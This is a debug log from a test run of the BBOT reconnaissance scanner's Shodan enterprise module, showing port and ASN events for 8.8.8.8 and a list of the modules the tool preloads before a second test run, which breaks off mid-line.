+2026-03-01 16:40:04,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:40:04,148 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,149 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,149 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,150 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,150 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,150 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:40:04,151 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:40:04,151 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:40:04,152 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,152 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,152 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,153 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,153 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,154 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,154 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:40:04,155 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,155 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,156 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,156 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,157 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,157 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,157 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,158 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:40:04,158 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,159 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,159 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,160 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,160 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:40:04,160 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,161 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,161 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:40:04,162 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:40:04,244 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:40:04,245 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:40:04,246 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:40:04,247 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,247 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:40:04,248 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,248 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:40:04,248 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:40:04,249 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:40:04,251 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:40:04,252 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:40:04,252 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:40:04,253 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:40:04,253 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:40:04,254 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:40:04,254 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:40:04,354 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:40:04,355 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:40:04,373 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:40:04,374 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:40:04,374 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:40:04,381 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:40:04,382 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:40:04,382 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:40:04,383 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:40:04,384 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:40:04,385 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:40:04,501 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_cq36fyddhw completed in 0 seconds with status FINISHED +2026-03-01 16:40:04,502 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:40:04,503 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:40:04,504 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events +2026-03-01 16:40:04,504 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 16:41:43,145 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:41:43,156 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:41:43,157 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:41:43,158 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:41:43,159 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:41:43,160 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:41:43,161 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:41:43,162 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:41:43,163 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:41:43,163 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:41:43,164 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:41:43,165 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:41:43,166 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:41:43,167 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:41:43,167 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:41:43,168 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:41:43,169 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:41:43,170 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:41:43,171 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:41:43,172 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:41:43,173 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:41:43,174 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:41:43,174 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:41:43,175 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:41:43,176 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:41:43,176 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:41:43,177 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:41:43,178 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:41:43,179 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:41:43,179 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:41:43,180 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:41:43,180 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:41:43,182 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:41:43,182 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:41:43,183 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:41:43,184 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:41:43,185 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:41:43,186 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:41:43,187 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:41:43,188 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:41:43,191 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:41:43,191 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:41:43,193 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:41:43,193 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:41:43,194 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:41:43,195 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:41:43,196 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:41:43,197 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:41:43,197 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:41:43,198 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:41:43,198 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:41:43,200 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:41:43,201 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:41:43,201 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:41:43,202 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:41:43,202 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:41:43,203 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:41:43,204 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:41:43,204 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:41:43,205 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:41:43,206 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:41:43,206 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:41:43,207 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:41:43,208 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:41:43,208 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:41:43,209 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:41:43,213 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:41:43,214 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:41:43,214 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:41:43,215 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:41:43,216 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:41:43,217 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:41:43,217 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:41:43,218 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:41:43,219 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:41:43,220 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:41:43,220 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:41:43,221 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:41:43,222 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:41:43,223 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:41:43,223 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:41:43,224 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:41:43,224 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:41:43,225 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:41:43,226 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:41:43,226 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:41:43,227 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:41:43,227 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:41:43,228 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:41:43,229 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:41:43,229 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:41:43,230 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:41:43,235 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:41:43,236 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:41:43,237 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:41:43,238 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:41:43,239 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:41:43,240 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:41:43,240 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:41:43,241 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:41:43,242 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:41:43,242 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:41:43,243 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:41:43,244 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:41:43,245 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:41:43,246 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:41:43,246 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:41:43,247 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:41:43,248 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:41:43,248 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:41:43,249 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:41:43,249 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:41:43,250 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:41:43,250 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:41:43,251 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:41:43,251 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:41:43,252 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:41:43,253 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:41:43,253 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:41:43,255 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:41:43,255 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:41:43,256 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:41:43,257 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:41:43,257 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:41:43,258 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:41:43,258 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:41:43,259 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:41:43,260 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:41:43,260 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:41:43,261 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:41:43,261 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:41:43,262 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:41:43,262 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:41:43,263 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:41:43,264 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:41:43,264 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:41:43,265 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:41:43,265 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:41:43,266 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:41:43,266 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:41:43,267 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:41:43,268 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:41:43,268 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:41:43,269 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:41:43,269 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:41:43,270 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:41:43,271 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:41:43,271 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:41:43,272 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:41:43,273 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:41:43,273 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:41:43,274 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:41:43,274 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:41:43,275 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:41:43,276 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:41:43,276 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:41:43,277 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:41:43,278 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:41:43,278 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:41:43,279 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:41:43,279 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:41:43,280 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:41:43,280 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:41:43,281 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:41:43,281 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:41:43,282 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:41:43,283 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:41:43,283 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:41:43,284 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:41:43,285 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:41:44,387 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:41:44,387 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:41:44,388 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:41:44,525 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:41:45,112 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:41:45,112 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:41:45,113 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:41:45,113 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:41:45,327 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:41:45,328 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 